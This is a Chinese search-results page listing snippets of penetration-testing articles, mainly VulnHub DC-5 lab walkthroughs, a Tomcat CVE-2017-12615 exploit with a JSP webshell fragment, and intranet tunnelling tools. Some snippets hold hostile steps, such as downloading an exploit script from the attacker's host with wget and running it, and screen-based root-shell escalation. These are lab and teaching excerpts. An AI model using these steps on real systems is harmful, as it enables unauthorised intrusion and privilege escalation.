- 综合排序
- 最热优先
- 最新优先
- 来自专栏世荣的博客
渗透测试笔记-5
执行一个外部的应用程序的输入并显示输出的结果 2.exec()：执行一个外部的应用程序，但不显示输出的结果 3.passthru()：执行一个系统命令并显示原始的输出 4.shell_exec()：执行shell命令并返回输出的结果的字符串 5. 7.0之后的demo: 3.call_user_func()：回调函数，可以使用is_callable查看是否可以进行调用 4.call_user_fuc_array()：回调函数，参数为数组 5.create_function ()：创建匿名函数 5.preg_replace()：当php版本小于7时，当为 /e 时代码会执行 6.array_map()：为数组的每个元素应用回调函数 7.array_filter()：依次将
46520编辑于 2022-03-18 - 来自专栏靶机渗透
靶机渗透DC-5
注意，Shell需要进入/tmp/目录下，同时kali也是在/tmp/目录下开启服务，否则传输会找不到文件。
59701发布于 2020-04-18 - 来自专栏网络安全自修室
DC-5靶机渗透实战
靶机介绍 这次的靶机渗透实战是一个找寻靶机中的flag的过程，并以获得最终的flag为目标。 靶机下载地址:http://www.five86.com/dc-5.html 信息搜集 直接上nmap进行扫描 nmap -sV -A -p- 172.16.0.17 Nmap scan report done: 1 IP address (1 host up) scanned in 18.20 seconds 可知开放111、80、59243端口，linux主机 猜测从web页面拿到shell 渗透实战 /tmp$ ls ls libhax.so rootshell run.sh www-data@dc-5:/tmp$ chmod +x run.sh chmod +x run.sh www-data @dc-5:/tmp$ .
1.1K30发布于 2020-07-22 - 来自专栏吾生也有涯IT也无涯
VulnHub靶机渗透之DC:5
这次的内容是DC系列的第五个靶机，不得不说这个系列每一个靶机都很有代表性，闲话少叙，搞起来。
1.6K31发布于 2019-07-25 - 来自专栏吾生也有涯IT也无涯
堆栈溢出渗透实战-part5
这是这个靶机环境的最后一个flag了，目标是获取root用户shell，不知道作者会设置些什么样的障碍，一步一步试吧，渗透技术不就是通过不断的尝试来找到各种脑洞大开的方法嘛。 将shellocde输入到5.txt，并用5.txt的内容做为输入，执行levelFive，成功获得shell，但是确没有得到root权限，看来还是少了点什么。 ?
70040发布于 2019-07-25 - 来自专栏网络空间安全
内网渗透之隐藏通信隧道 -- sock5
SOCKS分为SOCKS 4和SOCKS 5两种类型： SOCKS 4只支持TCP协议；SOCKS5不仅支持TCP/UDP协议，还支持各种身份验证机制等，其标准端口为1080.SOCKS能够与目标内网计算机进行通信 正向连接 在目标机器假设一个socks5通道 ew_for_Win.exe -s ssocksd -l 6666 ? 在攻击机上测试代理 成功 ? 成功远程连接到2008的内网ip ? //这个是额外加的，用于创建一个socks5的通道，可以给其他主机连接 type = tcp remote_port = 6000 plugin = socks5 再回头看服务端 可以看到同时开了一个Sock5通道，使用其他攻击机进行连接 ? 我使用Proxifier来进行连接，Proxifier资源在网上很好找，我就不放下载链接了 ? ? 注意这里windows 7的frpc配置和其他不一样的点，这里多了一条 plugin = socks5 这一条很关键，后面我会说为什么 ?
6.9K21编辑于 2022-01-23 - 来自专栏vulnhub DC 1-9
VulnHub DC-5 靶机渗透测试笔记
VulnHub DC-5 靶机渗透测试笔记靶机信息• 靶机名称：DC-5• 靶机来源：VulnHub• 目标：获取 root 权限，找到最终 flag• 难度：⭐⭐⭐☆☆（中等）• 涉及技术：信息收集、 系统扫描结果• 192.168.168.1 → VM8 网卡• 192.168.168.2 → 网关• 192.168.168.128 → Kali 本机• 192.168.168.169 → 靶机 DC-5• 1234 cd /tmpwget http://192.168.168.128:8888/41154.shchmod 777 41154.shbash 41154.sh找到 flag：八、渗透流程总结 WappalyzerCMS/框架识别Burp Suite抓包、日志污染注入wfuzz参数爆破蚁剑Webshell 管理工具nc反弹 Shellsearchsploit本地漏洞库搜索本文为 VulnHub DC-5
9710编辑于 2026-03-07 - 来自专栏网络安全自修室
每周打靶 | Vulnhub-DC5靶机渗透实战
靶机可从Vulnhub平台免费下载，并通过虚拟机在本地搭建，渗透实战是一个找寻靶机中的flag的过程，并以获得最终的flag为目标！ = 使用中国蚁剑连接MM 使用命令查看存在权限的命令，查看权限发现screen-4.5.0特殊文件 提权 查询screen-4.5.0的利用脚本,发现存在 root@bbkali:/tmp/dc5# ----------------- ---------------------------------------- Shellcodes: No Result root@bbkali:/tmp/dc5# Type: Bourne-Again shell script, ASCII text executable, with CRLF line terminators Copied to: /tmp/dc5/ libhax.c 使用vim命令创建第二个rootshell.c，复制粘贴完内容后按下esc输入：wq保存退出 再编译 gcc -o rootshell rootshell.c 最后一个部分dc5.
67631编辑于 2023-09-02 - 来自专栏玄魂工作室
渗透，持续渗透，后渗透的本质
目标主机信息搜集的深度,决定后渗透权限持续把控。 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。 靶机背景介绍: ? 引言(2): 渗透测试过程,提权是非核心任务,这里也不建议尝试提权,因为在实战过程中获取某个“点”的权限,过程是及其漫长以及困难的,不要因为某个大胆的尝试,而影响了整个渗透测试流程。 后者的话: APT攻击三大要素,既:攻击手段复杂,持续时间长,高危害性 APT攻击主要分类为两大类,既:高级持续渗透 , 即时渗透 ? ? ? ? APT两大类攻击核心诉求区别: ? 引言(5): 目前市场上的企业网络安全规划与建设大部分存在统一实施方案,或者是模板方案。而非针对特定行业,特定客户群体来制定针对方案。而不同行业,不同背景的企业安全规划方案也一定是不相同的。
1.8K30发布于 2019-03-14 - 来自专栏FreeBuf
渗透测试 | Tomcat渗透
Tomcat渗透 Tomcat任意文件写入(CVE-2017-12615） 影响范围 Apache Tomcat7.0.0-7.0.81（默认配置） 复现 这边我用vulhub sudo service decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> /*该密钥为连接密码32位md5值的前 >executable</param-name> <param-value></param-value> </init-param> <load-on-startup>5< /conf/tomcat-users.xsd /home/dayu/Desktop/ sudo docker cp 5e81d6d51622:/usr/local/tomcat/conf/web.xml stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5)
7K20发布于 2021-07-28 - 来自专栏世荣的博客
渗透测试系统学习-Day5(正式课开始)
) 3389(爆破 0708) 6379(Redis未授权访问) 有些网站没有域名，直接给了端口(8080) 有域名的网站安全性大于没有域名的网站 80端口的网站 > 其他端口的网站(主站防御更强) 5. 服务器内部错误 7.指纹识别 推荐平台： 云悉(收费) 微步 潮汐(推荐) 潮汐指纹识别 8.旁站查询：同IP站点就是旁站 （在线工具 - 站长工具） 同IP站点： 1.同服务器 2.同内网（内网渗透 ，防御性比较差） 采集路径，采集图片，采集固定文件名(计算MD5值) 计算文件 9.C段扫描： 192.168.1.1 - 192.168.1.255 同一个C段 x.x.x.1-255 166.111.4.100 它会访问65535次端口，并且会留下记录，这里我扫描的是我自己的站，域名和服务器都是我自己的，如果是合法渗透，当然可以随便用，但是未授权则不要用。
1.2K10编辑于 2022-03-22 - 来自专栏渗透测试专栏
渗透测试逻辑漏洞原理与验证(5)——业务逻辑问题
本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的，并可能违反《中华人民共和国网络安全法》及相关法律法规。
58810编辑于 2024-12-12 - 来自专栏漏洞知识库
内网渗透之各种正反向内网穿透、端口转发（http,socks5）- 渗透红队笔记
这个时候我们就可以使用内网穿透来吧服务器的流量代理到本地，就相当于我们是在内网环境，我们就可以使用自己PC上的工具对内网进行扫描，内网渗透，域渗透等等。 三、使用Proxifier工具进行socks5代理连接： ? ? ---- abptts正向端口转发 abptts是一款基于ssl加密的http隧道工具,相对来讲还算稳定。 这个时候使用Proxifier进行socks5代理本地1080端口： ? ---- reDuh正向端口转发 ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。 ---- venom反向socks代理 Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。 Venom可将多个节点进行连接，然后以节点为跳板，构建多级代理。 渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网，并轻松地管理代理节点。 一、攻击机监听本地端口5555 admin.exe -lport 5555 ?
6K30发布于 2020-11-25 - 来自专栏Bypass
【渗透技巧】内网渗透思路
本文将通过一些实例，分享一些简单的内网渗透思路。 0x02 信息收集 首先，对服务器资产信息进行收集，了解哪些ip是存活的，存活的ip开放了哪些端口，以及端口所对应的服务。 （5）登录服务器及域服务器 ? ? 0x03 Web应用渗透 通过服务器资产探测，可收集服务器开放web端口，内网系统中，大部分web系统访问的界面都是登录界面，需要用户名密码进行认证。 以某内网系统为例，进行实际渗透测试。 （1）在登录界面，用户名处输入加一个单引号 admin’,尝试登录，应用程序报错 ? （5）访问aspx木马地址，查看当前权限，需进一步提权 ? （6）上传exp到可读可写目录，尝试执行 ? 致力于分享原创高质量干货，包括但不限于：渗透测试、WAF绕过、代码审计、安全运维。
2.5K11发布于 2019-07-08 - 来自专栏网络安全攻防
【Web渗透】渗透测试简介
，从而达到更好的渗透测试效果 测试流程 PTES渗透测试执行标准是由安全业界国家领军企业技术专家所共同发起的，期望未企业组织与安全服务提供商设计并制定用来实施渗透测试的通用描述准则，PTES标准项目网站为 在前期交互(Pre-ENgagement Interaction)阶段，渗透测试团队与客户组织通过沟通需要对渗透测试的范围、渗透测试的方法、渗透测试的周期以及服务合同细节进行商定，该阶段通常会涉及收集客户需求 ，期望找出可被利用的未知安全漏洞，并开发出漏洞利用代码，从而打开攻击通道上的关键路径 渗透攻击阶段 渗透攻击(Exploitation)是渗透测试过程中最具有魅力的环节，在此环节中渗透测试团队需要利用他们所找出的目标系统安全漏洞来真正人侵系统当中获得访问控制权 ，渗透攻击可以利用公开渠道可获取的渗透代码，但一般在实际应用场景中渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击，并需要挫败目标网络与系统中实施的安全防御措施才能成功达成渗透目的，在黑盒测试中，渗透测试者还需要考虑对目标系统检测机制的逃逸 ，从而避免造成目标组织安全响应团队的警觉和发现 后渗透的阶段 后渗透攻击(PostExploitation)整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节、前面的环节可以说都是按部就班地完成非常普遍的目标
2.8K40编辑于 2023-03-29 - 来自专栏网络技术联盟站
中国5G手机渗透率全球最高，牛逼Plus！
中国的5G智能手机使用率是全球最高的，2022年1月的渗透率为84%。Counterpoint认为这要归功于中国电信运营商的推动，以及制造商向消费者发布具有价格竞争力的5G智能手机。 北美和西欧的5G智能手机渗透率在1月份分别达到73%和76%。苹果公司在这两个市场上占主导地位，在北美的份额超过50%，在西欧的份额超过30%。 Counterpoint还表示，在苹果于2020年10月发布配备5G的iPhone 12系列产品后，这两个市场的5G智能手机自然销量激增。 报告中指出，5G的下一个增长点可能是亚太、中东和拉美地区。 同时由于联发科和高通公司的智能手机芯片更实惠，配备5G的Android智能手机开始逐渐降到这个价位。低端5G芯片目前的价格在20美元以上。 Counterpoint表示，未来配备5G的设备将开始出现在150美元以下的价位。
33310编辑于 2023-03-13 - 来自专栏红蓝对抗
攻防｜记一次5KW资产的渗透测试
在首页某张图片前面解析一个img拼接刚刚的路径解析成功了，上传一句话木马命令执行成功4、内网渗透上传了一个fscan去扫描发现扫描不出来什么，就是多了另外一个站，但是其实也是在我们开始资产收集的那个资产范围内检索目录发现 就是上面能getshell的，还有另外一个web服务在8900，我们把两个源码都下载下来查看jdbc配置文件，可以找到数据库密码连接成功然后在对应的web服务的mysql中找到了对应的管理员密码和账号md5解密一下发现是弱口令发现他的权限是这样的 ，找一个管理员的登陆登陆成功到这里我们就已经拿到两个web服务的后台了然后又是一个文件上传直接getshell了命令执行5、总结getshell之后查了一下这家公司，刚好5000万资产，但是不是通用。 后面就是可以进行内网的渗透利用了，但是点到为止，事后也是将所有后门木马删掉，也是通过这次记录，能给新手一点渗透的灵感吧。
25410编辑于 2024-12-27 - 来自专栏冰河技术
《冰河的渗透实战笔记》全网下载突破5W+
大家好，我是冰河~~ 这本《冰河的渗透实战笔记》电子书从2021.05上架到现在，全网累计下载量突破5万，虽然下载量不是很高，但这也算是一个小小的里程碑吧，感谢各位小伙伴的支持和帮助。 本书特点 全网首个开源的以实战案例为背景的渗透实战笔记，全书共442页，共计37万字（不计空格）。 整本书的内容涵盖：Kali基础、渗透工具、木马制作、钓鱼链接生成、爆破密码、内存溢出攻击、web渗透、数据提权、社会工程学。 写作本书的缘由 其实，很早就想写一本关于渗透方面的书籍，现实中却总是因为这样或者那样的原因被搁浅了。 最近，我也在一些读者群里调研了下，大家对于渗透（网络攻防）这个话题很感兴趣。
75120编辑于 2022-03-29 - 来自专栏全栈程序员必看
drozer 渗透测试_什么是渗透
安卓模拟器（我用的夜深，其他应该也可以），或者一台安卓真机 3、java环境 Java下载地址 4、ADB，adb（Android Debug Bridge）安装使用教程 – 诸子流 – 博客园 5、 安装即可，如下： python -m pip install pyopenssl 3、电脑下载drozer，下载链接 4、下载完成后，双击运行安装（可能会报毒，点击直接运行就行） 5、
2.2K10编辑于 2022-09-22 - 来自专栏FreeBuf
内网渗透：不出网渗透技巧
前言 在最近的攻防演练中，遇到几个内网环境都不通外网的情况，因此，整理下用到的几种不出网内网渗透技巧。 5、成功把本机带入内网。 ? cs上线 cs逐渐成为内网渗透中使用最多的工具，在目标不通外网的情况下，无法直接与公网的cs服务端建立连接。 ms17010横向利用 内网渗透中常用的攻击手段，随着补丁和杀软的普及，能利用的场景越来越少，而且容易造成目标蓝屏，影响业务，所以谨慎使用。 之前的利用都是在通外网下情况下利用msf攻击。
5.1K11发布于 2020-08-28
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号